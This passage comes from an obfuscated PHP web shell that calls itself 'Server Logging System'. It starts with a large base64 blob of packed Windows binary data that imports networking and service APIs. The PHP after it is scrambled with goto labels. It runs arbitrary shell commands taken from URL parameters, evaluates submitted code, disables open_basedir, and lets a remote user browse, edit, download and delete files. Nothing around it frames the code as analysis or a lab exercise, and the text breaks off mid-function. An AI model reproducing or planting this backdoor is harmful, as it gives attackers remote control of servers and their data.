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"; goto bdGRw; K6YeM: function xfilelastmodified($file) { if (is_file($file) || is_dir($file) || is_link($file)) { $lastm = date("d-M-Y H:i", filemtime($file)); return $lastm; } return "???"; } goto Yh0NS; rRIs7: function xdir($path) { $path = trim($path); $path = xcleanpath($path); if (is_dir($path)) { $fname = array(); $dname = array(); if ($dh = @scandir($path)) { foreach ($dh as $file) { if (is_dir($file)) { $dname[] = $file; } else { $fname[] = $file; } } } else { if ($dh = @opendir($path)) { while ($file = @readdir($dh)) { if (@is_dir($file)) { $dname[] = $file; } else { $fname[] = $file; } } @closedir($dh); } } natcasesort($fname); natcasesort($dname); $buff = "<div id="explorer"><table class="tblExplorer">\xa\x9 <tr><th>Filename</th>\xa \x9<th style="width:80px;">Filesize</th>
\x9\x9<th style="width:80px;">Permission</th>\xa\x9 <th style="width:150px;">Last Modified</th>\xa\x9\x9<th style="width:180px;">Action</th></tr>"; foreach ($dname as $d) { $sd = $d; if ($d == "..") { $nextdir = ".." . DIRECTORY_SEPARATOR . ".."; $d = xcleanpath(realpath($sd)); } elseif ($d == ".") { $nextdir = ".."; $d = xcleanpath(realpath($sd)); } else { $nextdir = "."; $d = xcleanpath(realpath("." . DIRECTORY_SEPARATOR . $sd)); } $dir = $d; $nextdir = xcleanpath(realpath($nextdir)); $buff .= "<tr onmouseover="this.style.cursor='pointer';this.style.cursor='hand';" onclick="window.location= '?dir=" . urlencode($d) . "';">
<td><span style="font-weight:bold;"><a href="?dir=" . $dir . "">[</span> " . $sd . " <span style="font-weight:bold;">]</span></a></td>"; $buff .= "<td>DIR</td>"; $buff .= "<td style="text-align:center;">" . xfileperms($d) . "</td>"; $buff .= "<td style="text-align:center;">" . xfilelastmodified($d) . "</td>"; $buff .= "<td style="text-align:center;"><a href="?dir=" . $dir . "&properties=" . xcleanpath(realpath($d)) . "">Properties</a> | <a href="?dir=" . $nextdir . "&del=" . xcleanpath(realpath($d)) . "">Remove</a></td>"; $buff .= "</tr>"; } foreach ($fname as $f) { $sf = $f; $f = $path . $f; $view = "?dir=" . urlencode($path) . "&view=" . urlencode($f); $buff .= "<tr onmouseover="this.style.cursor='pointer';this.style.cursor='hand';" onclick="window.location='?dir=" . urlencode(xcleanpath($path)) . "&properties=" . urlencode($f) . "';"><td>\xa <a href="?dir=" . urlencode(xcleanpath($path)) . "&properties=" . urlencode($f) . "">
\x9 " . $sf . "</a></td>"; $buff .= "<td>" . xparsefilesize(xfilesize($f)) . "</td>"; $buff .= "<td style="text-align:center;">" . xfileperms($f) . "</td>"; $buff .= "<td style="text-align:center;">" . xfilelastmodified($f) . "</td>"; $buff .= "<td style="text-align:center;"><a href="" . $view . "">Edit</a> | <a href="?get=" . $f . "">Download</a> | <a href="?dir=" . xcleanpath($path) . "&del=" . $f . "">Remove</a></td>"; $buff .= "</tr>"; } $buff .= "</table></div>"; return $buff; } } goto pb0Qp; tJNgh: $xServerIP = $_SERVER["SERVER_ADDR"]; goto swrNf; utqPS: ini_set("open_basedir", NULL); goto sRNXR; dANsM: function ekse($cmd) { if (function_exists("system")) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists("exec")) { @exec($cmd, $results); $buff = ''; foreach ($results as $result) { $buff .= $result; } return $buff; } elseif (function_exists("passthru")) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists("shell_exec")) { $buff = @shell_exec($cmd); return $buff; } } goto rRIs7; i3GXU: if (isset($_GET["cmd"]) && $_GET["cmd"] != '') { $cmd = xclean($_GET["cmd"]); if (preg_match("/^cd(.*)/i", $cmd, $c)) { $newdir = trim($c[1]); $newdir = trim(urldecode(xclean($newdir))); if ($newdir == "\") { $xCwd = substr($xCwd, 0, 3); } else { if (strpos($newdir, ":") > 0) { if (is_dir($newdir)) { $xCwd = xcleanpath(realpath($newdir)); } } elseif (is_dir($newdir)) { $xCwd = xcleanpath(realpath($newdir)); } else { if (is_dir($xCwd . $newdir)) { $xCwd = xcleanpath(realpath($xCwd . $newdir)); } } } $result = xdir($xCwd); } elseif (preg_match("/^(\w{1}:.*)/", $cmd, $dc)) { $newdir = trim($dc[1]); if (is_dir($newdir)) { $xCwd = xcleanpath($newdir); } $result = xdir($xCwd); } else { $result = ekse($cmd); if ($result != '') { $result = nl2br(str_replace(" ", " ", htmlentities($result))); } else { $result = xdir($xCwd); } } } elseif (isset($_GET["eval"]) && $_GET["eval"] != '') { $result = htmlspecialchars(xeval($_GET["eval"])); } elseif (isset($_GET["properties"]) && $_GET["properties"] != '') { $fname = xcleanpath(xclean($_GET["properties"])); if (isset($_GET["oldfilename"]) && $_GET["oldfilename"] != '') { $oldname = xclean($_GET["oldfilename"]); rename($oldname, $fname); } $dir = xclean($_GET["dir"]); $fcont = ''; $fview = ''; if (is_dir($fname)) { $fsize = "DIR"; $fcont = xdir($fname); $faction = "<a href="?dir=" . xcleanpath(realpath($fname)) . "&properties=" . xcleanpath(realpath($fname)) . "">Properties</a> | <a href="?dir=" . xcleanpath(realpath($fname . "..")) . "&del=" . xcleanpath(realpath($fname)) . "">Remove</a>"; } else { $fname = rtrim($fname, DIRECTORY_SEPARATOR); $fsize = xparsefilesize(xfilesize($fname)) . " <span class="gaul">( </span>" . xfilesize($fname) . " bytes<span class="gaul"> )</span>"; $type = ''; if (isset($_GET["type"])) { $type = trim(xclean($_GET["type"])); } $iinfo = getimagesize($fname); $imginfo = ''; if ($type == '') { if (is_array($iinfo)) { $type = "img"; } else { $type = "text"; } } if ($type == "code") { if ($code = xhighlight($fname)) { $fcont = "<div class="boxcode">" . $code . "</div>"; } } elseif ($type == "img") { $width = (int) $iinfo[0]; $height = (int) $iinfo[1]; $imginfo = "Image type = ( " . $iinfo["mime"] . " )<br />Image Size = <span class="gaul">( </span>" . $width . " x " . $height . "<span class="gaul"> )</span><br />"; if ($width > 800) { $width = 800; $imglink = "<p><a href="?img=" . $fname . "" target="_blank"><span class="gaul">[ </span>view full size<span class="gaul"> ]</span></a></p>"; } else { $imglink = ''; } $fcont = "<div style="text-align:center;width:100%;">" . $imglink . "<img width="" . $width . "" src="?img=" . $fname . "" alt="" style="margin:8px auto;padding:0;border:0;" /></div>"; } else { $code = htmlspecialchars(file_get_contents($fname)); $fcont = "<div class="boxcode">" . nl2br($code) . "</div>"; } $faction = "<a href="?dir=" . xcleanpath($dir) . "&view=" . $fname . "">Edit</a> | <a href="?get=" . $fname . "">Download</a> | <a href="?dir=" . xcleanpath($dir) . "&del=" . $fname . "">Remove</a>"; $fview = "<a href="?dir=" . xcleanpath($dir) . "&properties=" . $fname . "&type=text"><span class="gaul">[ </span>text<span class="gaul"> ]</span></a><a href="?dir=" . xcleanpath($dir) . "&properties=" . $fname . "&type=code"><span class="gaul">[ </span>code<span class="gaul"> ]</span></a><a href="?dir=" . xcleanpath($dir) . "&properties=" . $fname . "&type=img"><span class="gaul">[ </span>image<span class="gaul"> ]</span></a>"; } $fowner = xfileowner($fname); $fperm = xfileperms($fname); $result = "<div style="display:inline;">\xa <form action="?" method="get" style="margin:0;padding:1px 8px;text-align:left;">
\x9<input type="hidden" name="dir" value="" . $dir . "" />\xa\x9<input type="hidden" name="oldfilename" value="" . $fname . "" />" . $faction . " |\xa <span><input style="width:50%;" type="text" name="properties" value="" . $fname . "" />
\x9<input style="width:120px" class="btn" type="submit" name="btnRename" value="Rename" />\xa\x9</span>\xa <div class="fprop">\xa\x9Size = " . $fsize . "<br />" . $imginfo . "
Owner = <span class="gaul">( </span>" . $fowner . "<span class="gaul"> )</span><br />
\x9Permission = <span class="gaul">( </span>" . $fperm . "<span class="gaul"> )</span><br />
\x9Create Time = <span class="gaul">( </span>" . date("d-M-Y H:i", @filectime($fname)) . "<span class="gaul"> )</span><br />\xa Last Modified = <span class="gaul">( </span>" . date("d-M-Y H:i", @filemtime($fname)) . "<span class="gaul"> )</span><br />
Last Accessed = <span class="gaul">( </span>" . date("d-M-Y H:i", @fileatime($fname)) . "<span class="gaul"> )</span><br />
\x9" . $fview . "
</div>\xa " . $fcont . "\xa\x9</form>\xa\x9</div>\xa\x9"; } elseif (isset($_GET["view"]) && $_GET["view"] != '' || isset($_GET["filename"]) && $_GET["filename"] != '') { $msg = ''; if (isset($_POST["save"]) && $_POST["save"] == "Save As") { $file = xclean(trim($_POST["saveAs"])); $content = xclean($_POST["filesource"]); if (xfilesave($file, $content)) { $pesan = "File Saved"; } else { $pesan = "Failed to save file"; } $msg = "<span style="float:right;"><span class="gaul">[ </span>" . $pesan . "<span class="gaul"> ]</span></span>"; } else { if (isset($_GET["view"]) && $_GET["view"] != '') { $file = xclean(trim($_GET["view"])); } else { $file = $xCwd . xclean(trim($_GET["filename"])); } } $result = xfileopen($file); $result = htmlentities($result); $result = "
<p style="padding:0;margin:0;text-align:left;"><a href="?dir=" . $xCwd . "&properties=" . $file . "">" . xfilesummary($file) . "</a>" . $msg . "</p><div style="clear:both;margin:0;padding:0;"></div>
<form action="?dir=" . $xCwd . "&view=" . $file . "" method="post">
<textarea name="filesource" style="width:100%;height:200px;">" . $result . "</textarea>\xa <input type="text" style="width:80%;" name="saveAs" value="" . $file . "" />\xa <input type="submit" class="btn" style="width:120px;" name="save" value="Save As" />
</form>
"; } else { $result = xdir($xCwd); } goto Zne4x; u1awg: ini_set("allow_url_include", 1); goto utqPS; swrNf: $xClientIP = $_SERVER["REMOTE_ADDR"]; goto n0Kd5; BNqz_: function xcleanpath($path) { if (is_dir($path)) { $path = urldecode(trim(xclean($path))); $xSlash = DIRECTORY_SEPARATOR; while (substr($path, -1) == $xSlash) { $path = rtrim($path, $xSlash); } return $path . $xSlash; } return $path; } goto Ocjbv; OKtKC: $shell_fake_name = "Server Logging System"; goto UQGVJ; U0a5N: function xfileowner($file) { if (is_file($file) || is_dir($file) || is_link($file)) { $fowner = fileowner($file); $fgroup = filegroup($file); if (function_exists("posix_getpwuid") && 